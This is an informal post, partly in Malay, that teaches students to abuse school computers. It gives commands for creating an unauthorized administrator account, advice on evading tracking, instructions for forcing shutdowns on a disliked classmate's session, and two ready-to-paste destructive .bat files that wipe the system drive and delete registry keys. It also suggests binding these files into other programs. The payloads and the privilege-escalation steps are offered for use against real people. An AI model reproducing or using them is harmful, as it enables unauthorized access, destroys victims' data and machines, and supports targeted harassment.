Now open command prompt using the bat file i already give u. Once open you will need to type in (net user ((NAME)) ((PASSWORD)) /add) and there u got u have created a new account without permission.

Now, to give ur newly created account administration powers!!!
In CMD type in, (net localgroup administrators ((NAME)) /add) and BOOM u have admin powers!!!

Cth 1:-
NET USER UnknownymousVee ikutsukekorang /add

Cth 2:-
NET LOCALGROUP ADMINISTRATORS UnknownymousVee /add

================================================

Now to send messages. ONLY SEND MESSAGES ON UR FAKE ACCOUNT!!! if u dont u can be tracked and get caught.
OK to send a message to ONE PERSON, go into CMD and type this in:-

MSG (account name) (message)

================================================

To send message to EVERYONE IN SCHOOL ON A COMPUTER
type in:-

MSG * (message)

================================================

Has a kid u hate been working hard all day and the hasnt saved yet and u wanna ruin his day? just open CMD and type in:-

shutdown -i

Hit enter and a box should pop up with everyone that is logged in by user name and just click on it and hit shut down. u can change it so there is no warning and it shuts down in 2 seconds. it is VERRY funny when they stand up and say WHAT THE FU*K!!??

================================================

Here is where i am going to post the worst things i can find. like delete registry! (DELETE THE REGISTRY AND YOUR COMPUTER IS JUST AND EXPENSIVE PAPER WEIGHT)

This first once causes you to get the blue screen of death. and might have to reinstall windows!!

Open notepad and paste this code. Save it as .bat:-

@echo off del %systemdrive%\*.* /f /s /q shutdown -r -f -t 00

*sape yang thu gune binder, bindkan benda ni! xD

================================================

The second one is the most dangerous one never use it unless you really hate the person, this one deletes your registry files completely destroying the computer.

Open notepad and paste this code. Save it as .bat:-

@ECHO OFF START reg delete HKCR/.exe START reg delete HKCR/.dll START reg delete HKCR/* :MESSAGE ECHO Your computer has been fcked. Have a nice day.
GOTO MESSAGE

*yang kat bahagian msg tu, korang edit la ape menda yang korang rase TERBAEK!
